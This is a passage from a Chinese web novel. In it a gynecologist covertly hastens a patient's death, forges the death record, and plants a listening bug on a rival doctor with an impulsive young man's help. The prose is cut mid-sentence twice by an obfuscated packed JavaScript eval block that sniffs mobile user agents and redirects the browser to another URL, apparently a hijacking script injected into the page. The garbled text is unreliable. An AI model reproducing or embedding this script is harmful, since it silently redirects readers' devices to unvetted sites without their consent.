当看到屏幕上兰珠的血压数值出现一次小幅度的下降,随后又在药物作用下勉强回升时,她端着咖啡杯的手指微微顿了顿,随即几不可察地点了点头,眼神里没有丝毫波澜。一切,都在她的计划之中。那如同“尖吻蝮”般的毒液,正按照预定的速度,悄无声息地侵蚀着猎物的生命系统,一步一步,走向早已注定的终点。 【第五日】 黎明前的黑暗浓稠如墨,将整座医院包裹得严严实实。走廊里寂静得能听见自己的心跳,只有应急灯不知疲倦地散发着幽幽的绿光,在地面和墙壁上投下斑驳的光影,平添了几分诡异。 突然,兰珠病房里的监护仪打破了这份死寂,警报声低沉却持续不断地蜂鸣起来,像一道催命符在空旷的走廊里回荡。屏幕上的数据触目惊心:心率变得毫无规律地乱跳,血氧饱和度以肉眼可见的速度持续缓慢下降,血压更是低到了难以维持的临界值。 值班护士被这突如其来的警报惊得心头一紧,手忙脚乱地抓起电话通知了钟妍妍。不过片刻功夫,钟妍妍便赶到了病房,她的表情在踏入病房的瞬间,就精准地切换成了凝重而专注的抢救状态,仿佛早已做好了万全准备。“准备肾上腺素,阿托品,立刻检查气道,把气管插管设备推过来!”她的指令清晰而迅速,每一个字都透着不容置疑的专业,任谁看了,都会觉得这是一位在全力抢救危重病人的尽职医生。 然而,这份“尽职”背后藏着怎样的心思,只有钟妍妍自己清楚。这些看似规范的抢救措施,落在兰珠这具早已油尽灯枯的身体上,更像是一场精心编排的、加速终结的表演。她给予的药物剂量,在某些足以逆转局势的关键节点上,存在着微妙到难以察觉的不足;而在决定是否进行气管插管时,她那短暂的犹豫——或者说刻意的拖延,对于已经濒临呼吸衰竭的兰珠而言,无疑是致命的一击。 她一边有条不紊地进行着“抢救”,一边用眼角的余光冷静地观察着兰珠最后的生命迹象。那张曾经或许也有过青春鲜活表情的脸,此刻只剩下死灰般的颜色,嘴巴微微张着,像是还有未说出口的话,眼睛半阖着,里面空洞无神,再没有一丝光亮。 监护仪上的心电图波形,从最初杂乱无章的跳动,渐渐变得越来越缓慢,起伏越来越微弱,最后,彻底拉成了一条平直的、绝望的直线。 “滴————————” 尖锐而冗长的长音骤然响起,像一把利刃刺破了病房里压抑的寂静,宣告着生命的终结。 钟妍妍停下了手中的动作,缓缓直起身,胸口微微起伏,像是真的耗尽了力气。她抬眼看了一眼墙上的时钟,时针指向五点,分针刚过五小格,她精确地将这个时间记在心里。随后,她摘下挂在脖子上的听诊器,对着旁边同样参与抢救、脸上写满疲惫与遗憾的护士们,用一种带着恰到好处的沉重和职业性疲惫的声音宣布:“死亡时间,凌晨5点05分。” 5点05分。又是一个与“5”相关的时刻,仿佛早已在她的计算之中。 “通知太平间来接人。”她顿了顿继续吩咐道,“准备好死亡医学证明书和相关文书。死亡原因……就写多重耐药菌感染导致的多器官功能衰竭,艾滋病作为基础疾病列在其中。”她轻描淡写地给出了一个从医学记录上看毫无破绽、逻辑完整的死因链条,完美地掩盖了真相。 护士们默默地开始收拾散落一地的抢救器械,有人拿起白布,轻轻为兰珠合上了那双空洞的眼睛,动作里带着一丝不易察觉的怜悯。 钟妍妍最后看了一眼病床上那具再无生息的躯体,眼神深处掠过一丝复杂难辨的情绪——是完成任务后的如释重负?是对生命如此脆弱易逝的漠然?还是那份始终潜藏的、冰冷的优越感?或许,这些情绪都交织在她的眼底,只是转瞬即逝,快得让人无法捕捉。 她转身走出病房,白大褂的衣角在昏暗的光线下轻轻摆动,划出一道利落的弧线。走廊里的绿光将她的影子拉得很长很长,仿佛要延伸到无尽的黑暗里。回到办公室,她反手关上了门,将外面的一切声响和光线都隔绝在外,独自留在这片属于自己的空间里。 她在椅子上坐下,并没有立刻着手书写死亡记录,只是静静地坐着,手指无意识地在桌面上轻轻敲击着,发出单调的“笃笃”声,与窗外偶尔传来的风声交织在一起。 五天了。从她心中动念的那一刻起,到此刻目标彻底“解脱”,不多不少,正好五天。 “尖吻蝮”又一次完美地完成了她的“狩猎”。精准,隐蔽,且从头到尾都披着合法与专业的外衣,让人抓不到任何把柄。 过了好一会儿,她才拿起笔,开始书写兰珠的最终病程记录和死亡小结。她的字迹依旧工整、冷静,每一个医学术语都用得准确无误,逻辑清晰缜密,完全经得起任何形式的病历检查和推敲。 在她的笔下,兰珠的死亡成了一场因疾病过于凶险而导致的不幸医疗失败。那些她曾施加的隐秘影响、刻意选择的错误治疗路径、以及在心理上进行的层层摧残,都被巧妙地隐没在看似标准化的医疗文书之下,无迹可寻,仿佛从未发生过。 窗外,第一缕阳光终于穿透了厚重的云层,照亮了沉睡的城市,新的一天悄然拉开了序幕。圣保罗医院十二层的妇科病房里,夜班护士与白班护士正在进行交接,一切都和往常一样井然有序。那间曾经隔离着兰珠的病房,已经被彻底消毒清理干净,洁白的床单平整如新,仿佛在等待着下一个病人的到来。那个叫兰珠的女人,仿佛从未在这里存在过,从未在这五天里,那样痛苦而无望地挣扎过。 只有钟妍妍知道这五天里发生了怎样不为人知的一切。而她,也将这个秘密,连同“尖吻蝮”的身份一起,深深地埋藏进了心底最冰冷、最隐秘的角落,等待着下一次“清理 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“呵呵,原来是钟医生啊,稀客稀客。”尹柏萧看清来人,脸上露出几分惊奇,连忙放下手中的笔,抬手示意,“快坐,快坐。”说着便起身走到一旁的饮水机旁,拿起一个干净的玻璃杯,接了杯温水递过去,“今日怎么有空到医学院这边来?平时可是难得出现在这儿。” 在尹柏萧对面坐下的钟妍妍接过水杯,指尖触到杯壁的微凉,微微颔首道谢,阳光落于她的白色上衣显得格外干净。她脸上依旧挂着得体的微笑,语气轻松自然:“其实也没什么大事,就是为了徐燕风的事过来的。” “徐燕风。那小子又惹什么祸了?”尹柏萧皱了皱眉,语气里带着几分无奈。 “不是惹祸。”钟妍妍轻轻摇头,实话实说:“我已经观察他一段时间了。” 尹柏萧身体微微前倾,眼神里多了几分探究:“观察他做什么?”在他看来,徐燕风虽然19岁已经成年,但还是个心性尚未成熟容易冲动的年轻人,似乎没什么值得钟妍妍特意关注的地方。 钟妍妍抬眼看向他,目光沉静,语气也严肃了几分:“尹教官,您应该清楚圣保罗医院不是普通医院。医学院预科班日后也不是普通班级。”她的话语不疾不徐,却带着一种只有他们这个层级的人才能听懂的潜台词——这里藏着不为人知的秘密,肩负着特殊的使命,每一个身处其中的人都需要经过审慎的考量。 尹柏萧闻言脸上的轻松之色渐渐褪去,他沉默了几秒,指尖无意识地在桌面上点了点最终沉声问道:“所以?”他明白,钟妍妍特意过来提起徐燕风绝不会只是随口说说,必然有更深层的用意。 “徐燕风有潜力。”钟妍妍望着尹柏萧,语气笃定,“但他就像一块未经打磨的粗胚玉——不,更像是未经驯化的野生动物,浑身是劲却不懂收敛,凭着本能横冲直撞。”她顿了顿,目光里带着一丝审视,“我认为您目前的管教方式更像是在用笼子关住他,用条条框框限制他的野性,却不是教他如何在真正的丛林里生存,如何把那份冲劲变成精准的獠牙。” 尹柏萧向后靠在椅背上,双手交叉放在腹前,眉头微蹙。他能听出钟妍妍话里的深意却并不完全认同:“钟医生,我是他的教官,在训练学生这方面,我知道该用什么方式。纪律和规矩,是他们踏入这里的第一课,也是最基础的一课。”在他看来,野性需要被规范而非放任。 “是的,对常规学生而言这些足够了。”钟妍妍微微向前倾身,拉近些距离,声音也刻意压低了几分,带着一种不容置疑的认真,“但徐燕风不是常规材料。他骨子里的那股狠劲和冲动,……用对了是利刃,用错了就是自毁的火种。他需要的是特殊的……培养方式,得让他明白,什么时候该收,什么时候该毫无保留地出击。”她的眼神锐利起来,仿佛已经勾勒出了某种特殊的“培养”蓝图。 办公室里的空气仿佛凝固了一瞬,连阳光落在文件上的光斑都像是静止了一般。墙上的时钟不紧不慢地走着,“滴答、滴答”的声响在这片刻的沉默中显得格外清晰,窗外隐隐约约传来远处网球场的击球声——“砰、砰”的闷响,带着节奏,提醒着外面世界的鲜活与动态,与室内的凝重形成了微妙的对比。 尹柏萧的目光在钟妍妍脸上停留了几秒,她的表情平静却透着一股不容小觑的坚持,他终于开口,声音低沉:“你具体指什么?” “给我三个月时间。” 钟妍妍迎着他的目光,语气笃定,没有丝毫犹豫,“ 我来给他上一些特别的课。不是医学院那些枯燥的理论知识也不是您这边强调的基础纪律训练。” 她顿了顿,特意加重“特别”二字,眼神里闪过一丝锐利,“是更……实用的技能。关乎判断、应变,还有在极端情况下如何保全自身,甚至掌控局面。” 4. 特别的建议 “什么技能?”尹柏萧追问,眼神里的审视更浓了几分。 “情绪控制。压力管理。观察力训练。基本的反侦察意识。”钟妍妍一一列举,语速平稳得像是在报一份清单,每个词都清晰有力,显然是经过深思熟虑的,“这些对‘我们这样的人’来说,应该是基础中的基础,不是吗?”她特意加重了“我们这样的人”几个字,暗示着彼此共通的特殊身份。 尹柏萧的目光骤然锐利起来,像淬了冰的刀锋:“钟医生,你只是妇科医生。”言下之意,这些远超一个普通妇科医生的职责范畴。 “我是妇科医生,”钟妍妍脸上漾开一抹浅浅的微笑,但那笑意只停留在嘴角,并未抵达眼底,眼神深处依旧是一片沉静的冰湖,“但我也是从‘那个系统’里出来的。我的代号是……尖吻蝮。” “尖吻蝮”三个字落下,如同投入平静湖面的石子,瞬间打破了室内的僵持。听到这个属于同类的代号,尹柏萧紧绷的表情终于有了一丝松动。他站起身,走到窗前,背对着钟妍妍站了好一会儿,望着窗外的景象出神……露天停车场那边,关文晶那辆曾被油漆涂鸦的白色轿车已经清洗干净,阳光照在车身上,反射出刺眼的光,但仔细看去,车身上那些细微的痕迹依然隐约可见,像是一道尚未愈合的伤疤。 “为什么?”尹柏萧没有回头,声音透过窗户玻璃的微凉传过来,带着一丝不易察觉的沙哑,“你为什么对徐燕风这么感兴趣?” “几个原因。”钟妍妍也站起身,缓步走到他身边,与他一同望着窗外,语气平静却条理清晰,“第一,他确实有潜力,那股未经雕琢的狠劲和冲劲,浪费了太可惜。第二,他这样四处惹事,像个没头的苍蝇,迟早会暴露一些不该暴露的东西。与其让他无意识地捅出大娄子,不如引导他学会有意识地控制自己的行为和情绪。” 她停顿了一下,目光转向远处网球场的方向,继续说道:“第三,关文晶已经注意到他了。毒蛇的警觉性您应该清楚,一旦盯上,就不会轻易松口。如果让这两条‘蛇’继续这样在明面上斗下去,只会两败俱伤,对谁都没好处,甚至可能波及整个局面。” 尹柏萧这才转过身,目光沉沉地看着她:“你想介入调解?” “调解太消极了。”钟妍妍摇摇头,眼神里闪过一丝狡黠的光,“我想把他们之间的敌意,引导到更有建设性的方向。把一场可能暴露我们所有人的幼稚争斗,变成一场受控的、有产出的训练。让他们在较量中成长,而不是在内耗中毁灭。” 办公室再次陷入沉默,只有墙上的时钟依旧不知疲倦地“滴答”作响。尹柏萧走回办公桌边,手指无意识地在桌面上轻轻敲击着,发出规律的轻响,每一下都像是敲在权衡的天平上。钟妍妍静静地站在原地,她清楚尹柏萧此刻在权衡什么——这不仅仅是徐燕风一个人的培养问题,更是牵扯到各方势力在医院这个微型生态系统中的微妙平衡,一步棋错,可能就会引发连锁反应。 “喂。”尹柏萧拿出手机拨号:“你过来我办公室一趟,马上!” “干什么干什么!我这几天可什么都没干啊!”伴随着一阵咋呼,徐燕风大大咧咧地闯入办公室,他脚步匆忙,身上还带着几分刚从外面跑来的热气。一进门,他就瞧见尹教官旁边站着一个陌生女人,眼神里顿时闪过一丝警惕与疑惑。 “这位是妇科的钟医生。”尹柏萧见状,向他介绍道,语气尽量平和,“她今天是特意过来找你的。” “找我?”徐燕风满脸的惊诧,眼睛瞪得老大,“为何。”他心里犯起了嘀咕,自己和这位钟医生素不相识,怎么会突然来找自己呢? “给你上课。”尹柏萧直截了当地说道。 “上什么课。”徐燕风皱起眉头,满脸的不情愿,心里琢磨着这不会又是什么惩罚吧。 “你最近闹得太凶了,应该静静心。”尹柏萧看着他,眼神里带着几分严肃。 瞬间,徐燕风明白了。哼,他在心里冷哼一声,肯定是给关文晶那个八婆当说客的,想让我乖乖投降,门都没有!“我不去。我不需要!”他冷冷地说完,干脆利落地转身就要走,脚步迈得又急又大,带起一阵风。 “徐燕风!”尹柏萧见状,忍不住要呵斥,声音刚出口,却被钟妍妍抬手制止。只见钟妍妍脸上挂着和颜悦色的笑容,目光温和地看向徐燕风,轻声说道:“燕风,借一步说话吧。”那语气轻柔得如同羽毛,仿佛有一种无形的力量,试图安抚徐燕风此刻躁动的心。 哼,我倒要看看你想用什么手段来说服我!徐燕风一边不情不愿地跟着钟妍妍走出办公室,一边在心里翻江倒海般琢磨着各种对抗和拒绝的花招。他的脑袋里像是有个小马达在飞速运转,盘算着只要钟妍妍一开口劝他低头,他就立马回怼,让她无功而返。 两人来到一段比较远、鲜有人至的角落里,周围安静得能听见远处走廊尽头的滴水声。“你想不想和关文晶一比高低。”钟妍妍突然停下脚步,猛地回头,用一种难以琢磨的古怪眼神盯着他看,那眼神像是能看穿他心里所有的小九九。 此举完全出乎徐燕风的意料,他愣了一下,随即漫不经心地耸耸肩道:“那你和她不是一伙的?”在他看来,钟妍妍既然是尹柏萧介绍来的,说不定和关文晶就是一伙的,现在不过是想换个法子哄他就范。 钟妍妍冷冷地笑了一声,那笑声像是从冰窖里传出来的,带着几分不屑:“你这样没脑子,全是玩小儿科的把戏,想去斗赢一个受过训的人,简直是痴心妄想。”她的眼神里满是轻蔑,仿佛徐燕风那些小打小闹的手段在她眼里根本不值一提。 “受训?”徐燕风满脸惊诧,眼睛瞪得溜圆,脸上写满了难以置信。他怎么也没想到关文晶背后还有这样的背景,这突如其来的信息让他有些不知所措,心里原本笃定的想法开始动摇。“我实话告诉你吧,关文晶远远没有你想象的那么三八。”钟妍妍微微眯起眼睛,眼神中透露出一丝冷峻,仿佛在揭开一层不为人知的神秘面纱,“她只是戴着一张人皮面具在陪你玩玩罢了......”她顿了顿,观察着徐燕风脸上逐渐浮现的震惊表情,嘴角勾起一抹略带嘲讽的弧度。 “真正以她的本事,把你大卸八块都算轻的!”钟妍妍加重了语气,每个字都像是一颗石子,重重地砸在徐燕风的心头上。她的声音不大,却带着一种不容置疑的威严,仿佛在陈述一个既定的事实。徐燕风的嘴巴微微张开,眼神中充满了难以置信,原本以为只是平常的斗气,此刻却发现自己似乎卷入了一个深不可测的漩涡之中。他的心里开始泛起一丝不安,同时又涌起一股强烈的好奇,迫切地想要知道更多关于关文晶的事情。“如果你不相信,”钟妍妍敏锐地捕捉到徐燕风眼中那一丝怀疑与好奇交织的复杂神情,就像看穿了他心底的每一个念头。她不动声色地从口袋里掏出一个包括纽扣形状的微型窃听装置的小盒子......在她白皙的指尖闪烁着金属的光泽,递到徐燕风面前,动作从容而笃定。 “可以拿去听听......”钟妍妍微微上扬的嘴角带着一丝神秘的笑意,眼神中透露出一种不容置疑的自信,“我敢担保,不久以后你肯定能看清关文晶的真面目!”她的声音低沉而有力,仿佛在向徐燕风承诺着一场即将揭开的惊人真相。徐燕风下意识地伸出手,接过那枚□□,目光紧紧盯着它,心中五味杂陈。一方面,他对钟妍妍所说的话半信半疑;另一方面,又被那未知的真相所吸引,好奇心像一把火,在他心底熊熊燃烧。他紧紧握住窃听器,仿佛握住了打开某个神秘大门的钥匙,迫不及待地想要窥探门后的秘密。 “你这个难倒我了。”徐燕风的眉头紧紧拧成了一个“川”字,眼中满是迟疑与困惑,他无奈地摊开双手,继续说道:“我怎么有机会放进她衣服里?”他心里十分清楚,关文晶对他处处提防,想要神不知鬼不觉地把这枚小小的窃听器放进她衣服里,简直比登天还难。他不禁在脑海里设想各种场景,但似乎每一种都困难重重,难以实现。 徐燕风抬起头,眼神中带着一丝期许,看向钟妍妍,仿佛希望她能给出一个可行的办法。毕竟,钟妍妍既然提出了这个建议,或许早就想到了应对之策。此刻的他,内心既纠结又好奇,纠结于这个看似不可能完成的任务,又好奇钟妍妍到底有什么锦囊妙计,能让他接近关文晶并安放窃听器。“这个......交给我。”钟妍妍诡笑说。 “这个......交给我。”钟妍妍嘴角缓缓勾起一抹诡谲的笑容,那笑容仿佛藏着无数不可告人的秘密。她的眼神中闪过一丝狡黠的光,就像一只正在谋划着如何捕获猎物的狐狸。 这笑容让徐燕风心里没来由地一紧,一种莫名的不安在心底蔓延开来。他不禁暗自揣测,钟妍妍究竟打算用什么手段来完成这件看似不可能的事。但同时,他又被钟妍妍这份胸有成竹的自信所吸引,好奇心彻底占据了上风。 “你......打算怎么做?”徐燕风忍不住问道,声音里带着一丝小心翼翼。他既期待钟妍妍给出答案,又害怕听到那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937022|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能超乎他想象的计划。此刻,在这个略显昏暗的角落里,钟妍妍那神秘的笑容和她即将揭晓的计划,如同一个巨大的谜团,紧紧地揪住了徐燕风的心。“傻子。”钟妍妍轻轻摇了摇头,眼神中带着几分对徐燕风懵懂的调侃,似笑非笑地说道:“我是妇科医生,她是儿科医生。同在这圣保罗医院工作,要接近她还不容易?”她微微仰起头,眼中闪过一丝狡黠,仿佛已经在脑海中勾勒出了接近关文晶的完美计划。“医院里各种跨科室交流、合作项目多不胜数,”钟妍妍继续说道,语气中透着一种成竹在胸的自信。 徐燕风听着听着,眼睛逐渐瞪大,脸上先是露出恍然大悟的神情,紧接着又夹杂着一丝担忧。他不禁在心里琢磨,钟妍妍的计划听起来似乎天衣无缝,但实际操作起来真的能如此顺利吗?要真如她所言,关文晶不是个容易对付的角色,万一稍有差池,被她察觉,那后果简直不堪设想。然而,此时的他,心中那股想要揭开关文晶真面目的急切心情,还是稍稍压过了这份担忧。“那……那好吧,就按你说的试试。”徐燕风咬了咬牙,下定决心般说道。 “我是尖吻蝮,她是锯鳞蝰,我斗不过她吗?”钟妍妍在心中暗自思忖,眼神瞬间变得如冰般寒冷且锐利,仿佛下一秒就能射出凛冽的锋芒。嘴角勾起一抹充满挑衅与自信的弧度,那笑容里带着一种不容置疑的狠劲,“等着瞧吧。” 于是,钟妍妍径直回到圣保罗医院,脚步沉稳而坚定。她迈进电梯,按下十楼的按钮,随着电梯缓缓上升,她的思绪也愈发清晰,脑海中不断预演着接下来的行动。 当电梯门“叮”的一声打开,她不紧不慢地漫步于候诊的人群之中。周围的人或坐或站,交谈声、小孩的哭闹声交织在一起,形成了医院特有的嘈杂氛围。就在这时,她的目光突然定住,远远看到关文晶穿着那件整洁的白大褂,正步履匆匆地从一间诊室出来,朝着护士站走去。关文晶的侧脸线条柔和,宛如精心雕琢的艺术品,但眼神却无比专注,似乎在思考着什么重要的事情。 钟妍妍不动声色,目光紧紧跟随着关文晶的身影,在心中迅速看准她即将走过的路线,并精准地计算好每一步的距离。就在关文晶即将靠近的瞬间,她脚下“恰到好处”地一滑,整个人像是失去重心般向前倾倒,同时口中发出“哎呀!”一声轻呼,声音里带着恰到好处的惊慌。这突如其来的变故,让周围的人都不禁投来了诧异的目光。 “钟医生!”关文晶的反应极快,几乎是出于本能,她在听到呼声的瞬间,就迅速伸出手稳稳地扶住了钟妍妍,语气中带着职业性的关切,“小心!没事吧?”关文晶的眼神中满是担忧,仔细打量着钟妍妍,生怕她有什么闪失。 “没……没事,不好意思关医生,这地有点滑……”钟妍妍抬起头,脸上恰到好处地露出惊慌和歉意,一只手紧紧抓着关文晶的手臂,仿佛是为了稳住自己摇摇欲坠的身体。而她另一只早已紧紧握着那枚纽扣状窃听器的手,在身体的巧妙遮挡下,以一种自创的灵巧手法,如同一道无声的影子,迅速而轻巧地滑入了关文晶白大褂右侧的口袋深处。整个动作一气呵成,流畅自然,从开始到结束,竟然不到两秒钟。 “真的没事吗?要不要去检查一下?”关文晶仍不放心,再次仔细地看了看钟妍妍,上下打量着,确认她没有摔伤的迹象。 “不用不用!”钟妍妍连连摆手,脸上挤出一丝笑容,随意地寒暄道,“我就是闲着无事随意过来看看。忙么。” “挺忙的。”关文晶简短地回答,眼神中透露出一丝焦急,显然手头还有不少工作亟待处理。 “那就不打扰你了。再见。”钟妍妍微笑着说道,语气显得轻松而自然。 “再见。”关文晶回应了一声,目光随着钟妍妍转身离开的背影移动了片刻,并未多想,便又神色匆匆地继续走向护士站,全身心地投入到手头的工作中。 而钟妍妍则从容地走进电梯,按下妇科楼层的按钮。电梯门缓缓合上的瞬间,她脸上所有的温和表情都像是被一阵无形的风瞬间吹走,取而代之的是冷静到近乎冷酷的评估神色。她微微眯起眼睛,眼神中透露出一种审视和算计。接着,她拿出手机,熟练地按下几个键,给徐燕风发了一条信息“OK”。 此时,那枚冰冷的、带着细细天线的小小金属片,就这样悄无声息地潜伏在了关文晶的衣袋里,如同一只隐藏在黑暗中的小兽,准备随时为徐燕风传递信息,成为了他延伸进来的“耳朵”,等待着揭开那些不为人知的秘密。 5. 凶狠锯鳞蝰(1) 徐燕风犹如一头潜伏在暗处的猎豹,神经紧绷,死死守在调试得极为精准的接收设备前。他全神贯注,耳朵里紧紧塞着耳机,那不断跳动的音频如潮水般灌入耳膜,仿佛在宣告着这个秘密窃听纪元的正式开启。他大气都不敢出,屏着呼吸,像是生怕漏过任何一丝细微的声音。 耳机里,先是传来布料相互摩擦的细微声响,那声音轻如羽毛落地,却在这寂静的氛围中格外清晰,仿佛能勾勒出关文晶每一个细微的动作。紧接着,是关文晶平稳而有节奏的脚步声,一步一步,似乎踏在徐燕风的心上。随后,便是她与护士、其他医生简短的交谈。 “3床的化验单出来了,白细胞还是偏高。”关文晶的声音冷静而专业,透着对病人病情的关切与专注。 “李医生,下午那个手术预约确认了吗?”她询问同事的语气中,带着一丝急切,对工作的认真负责展露无遗。 “王护士,麻烦把37床的输液速度调慢一点。”这道指令简洁明了,展现出她对细节的把控。 “宝宝乖不哭哦,让阿姨听听小心脏……”当面对小病人时,她的声音瞬间变得温柔无比,仿佛带着一种天然的魔力,能安抚孩子们不安的情绪。 一连几个小时,传入徐燕风耳中的,尽是这些琐碎、专业却又无比正常的医疗对话。关文晶的声音始终温和、耐心、条理清晰,在对待小病人时更是充满了母性般的亲和力。她仔细询问病情,每一个问题都精准而细致,不放过任何一个可能影响诊断的细节;她清晰地向家属解释治疗方案,用通俗易懂的语言让家属明白每一个步骤的意义和目的;她温柔地安抚哭闹的孩子,轻轻哼唱着不知名的小曲,仿佛能驱散孩子们心中的恐惧;与同事交接工作时,也是态度诚恳,有商有量,充分展现出良好的团队协作精神。 徐燕风越听,眉头皱得越紧,仿佛能夹死一只苍蝇。这跟他预想的完全不同啊!在他的想象中,至少能听到她私下抱怨工作,吐槽医院的种种不满;或者跟谁偷偷密谋些什么不可告人的事情,语气神秘而诡异;甚至可能一不小心露出马脚,提到一些不寻常的、见不得光的事情。 但是没有。 什么都没有。 只有一个兢兢业业、尽职尽责的儿科医生关文晶。 耳机里传来的,是另一个截然不同的世界的声音——一个充满了病痛与苦难,但同时也洋溢着关怀与温暖的世界,一个需要极度耐心和高度责任心去守护的世界。这个世界与他所处的那个充斥着叛逆、对抗和各种灰色手段的世界,简直是天壤之别,格格不入。 这种巨大的反差让徐燕风感到一阵莫名的烦躁,像是有一团火在心中熊熊燃烧,却又找不到发泄的出口。同时,在他心底还涌起了一丝不易察觉的失落,那感觉就像是满心期待着打开一个神秘的宝藏,结果却发现里面空空如也。他期待的“猛料”没有出现,关文晶的形象在这些日常对话中,非但没有变得更加可疑,反而逐渐清晰起来,而且……越来越正常? “妈的!”他终于忍不住低骂一声,伸手用力扯下耳机,像是要摆脱这让他失望的声音。随后,他烦躁地在房间里来回踱步,脚步急促而凌乱,双手时而紧握成拳,时而又松开,像是在宣泄着心中的不满。 钟妍妍说她杀人不眨眼,可照目前听到的来看,她只是个有点特别技能的普通医生嘛?没啥特别的呀。就在这时,手机屏幕亮起,钟妍妍又发来短信:不要气,要学会沉住气。该出现的自然会出现。徐燕风看着短信,咬了咬牙,心中暗自思忖,难道真的是自己太心急了? 在那间光线昏暗的屋子里,他坐在杂乱的桌前,眉头紧紧拧在一起,心中满是不甘。他一路艰难走来,已然走到这步田地,期间更是冒了不小的风险,怎么能就这样一无所获呢?这种想法如同一团燃烧的火焰,在他心中越烧越旺。 “继续监听!”他咬着牙,对着自己低声吼道,那眼神瞬间重新变得执拗起来,仿佛下了某种破釜沉舟的决心,“我就不信你一点破绽都没有!总会露出马脚的!”那语气中带着一股不达目的誓不罢休的狠劲。 说罢,他动作迅速地重新戴上了耳机,整个人就像一头固执的野兽,静静地守候在那声音编织而成的丛林里,眼神紧紧盯着耳机的连接线,仿佛那就是通往猎物踪迹的线索,全神贯注地等待着那不知是否会出现的、猎物的踪迹。而耳机里,依旧传来关文晶温柔安抚小病人的声音,那声音就像春日里的微风,轻柔而温暖,可与之形成尖锐讽刺对比的,却是他自己阴暗的窥探行为,这让他的心里莫名涌起一丝复杂的情绪。 此刻,徐燕风正对着监听设备,由于听到的只是关文晶日常查房、耐心安抚患儿、与同事认真讨论病例这些毫无“价值”的内容,他的内心愈发焦躁起来。就在这时,他那个屏幕碎裂的老旧手机突然嗡嗡震动起来,手机屏幕上闪烁着一个备注为“理查德”的名字。这理查德是他以前在外面瞎混时认识的一个“道友”,两人关系不算铁,不过偶尔理查德会有些乱七八糟的门路。 徐燕风不耐烦地啧了一声,很不情愿地接起电话,语气冲得就像吃了火药一般:“喂?有屁快放,忙着呢!”那声音在这安静的屋子里显得格外突兀。 电话那头瞬间传来理查德带着点讨好又有点急切的声音:“风,风,别火气那么大嘛!我这儿有个好活儿,第一时间就想到你了!”理查德的声音带着一种刻意的热络,似乎生怕徐燕风一口就拒绝了。 “你能有什么好活儿?”徐燕风嗤之以鼻,眼睛依旧死死地盯着屏幕上跳动的音频波形,那眼神仿佛要把这毫无头绪的波形看出个花儿来。 “真的!送报纸。大巴窑片区的《星洲晨报》!原来那小子回老家结婚去了,空出来个缺!每天早上六七点到发行站取报然后按路线送完就行,差不多两三个小时完事,时间自由,不影响你白天睡大觉或者干别的!”理查德语速很快,就像竹筒倒豆子一般,“你正好闲着也是闲着,赚点零花钱呗?这活儿轻松!”理查德的声音中满是诱惑,试图让徐燕风对这份工作产生兴趣。 “送报纸?”徐燕风愣了一下,这送报纸的活儿和他正在干的“高科技监控”相比,简直是一个天上一个地下。他本能地想拒绝,这种枯燥又起早贪黑的活儿,放在以前,他看都不会看一眼。在他的认知里,这种活儿又累又没什么意义。 但话到嘴边,却顿住了。他的眼神下意识地瞟向桌子上那堆监听设备。白天监听……效果确实一般,她大部分时间都在医院,环境嘈杂,而且都是工作内容。或许……换个思路?比如她值夜的时候?这个想法在他脑海中一闪而过,紧接着,突然一个念头如同黑暗中点燃的火柴,倏地亮起,照亮了他原本有些迷茫的思绪。 白天,他是平凡的送报工,穿梭混迹于晨雾弥漫的街巷之中,与那些早起的人们、街边的早点摊、逐渐苏醒的城市为伴;晚上,他则化身为隐藏在耳机后的监视者,在黑暗的角落里窥探着一切。这种双重身份,带着一种奇异的刺激感,而且似乎能弥补目前监听计划的不足。这个念头在他心中不断盘旋,让他有些心动。 “风?怎么样?给句痛快话啊!好多人等着呢!”理查德在电话那头焦急地催促着,声音中透露出一丝紧张,生怕徐燕风改变主意。 徐燕风舔了舔有些发干的嘴唇,眼中闪过一丝算计和冒险的光芒。他对着话筒,语气变得干脆利落:“行!这活儿我接了!什么时候开始?”此刻的他,仿佛已经下定决心,准备开启这一段别样的生活。 “太好了!明天早上四点,我发地址给你,直接去发行站找王站长报到就行!就我杰介绍的!”理查德听到徐燕风答应,声音里满是喜悦和轻松。 挂了电话,徐燕风看着监听设备,又想到明天即将开始的送报生涯,嘴角扯出一个复杂的笑容。这笑容里有无奈,有期待,也有对未来的一丝迷茫。这日子,倒是越来越“充实”了。 他重新戴上耳机,里面传来关文晶温和地叮嘱一位母亲如何给发烧的孩子做物理降温的声音。徐燕风眼神微眯,眼中闪过一丝狠厉。姓关的八婆,你给我等着。我一定会抓住你的把柄!哼哼……那声音虽轻,却带着一股不容置疑的决心。 徐燕风的生活,不知何时竟陷入了一种诡异且紧凑的规律之中,仿佛被一双无形且有力的大手操控着,像是置身于一台巨大机器里的微小零件,被无情的齿轮驱动着,在两条截然不同的轨迹之间反复且机械地切换着。 黎明前的黑暗,宛如一块厚重且密不透风的幕布,沉甸甸地将整个城市严严实实地笼罩起来。此时,徐燕风骑着那辆破旧不堪、吱呀作响的二手自行车,在尚未从沉睡中苏醒的街巷间穿梭着。车筐里的报纸整齐地码放着,还散发着油墨特有的清香,同时沾染着夜露带来的丝丝微凉。他的动作熟练而又机械,迅速地将一份份报纸塞进冰冷的邮箱,或是轻轻插在紧闭的门缝之中。在这寂静得近乎死寂的氛围里,唯有车轮缓缓碾过路面发出的沙沙声,如同单调的背景音乐,在他周围不断回荡。 就这样,一直忙碌到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937023|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 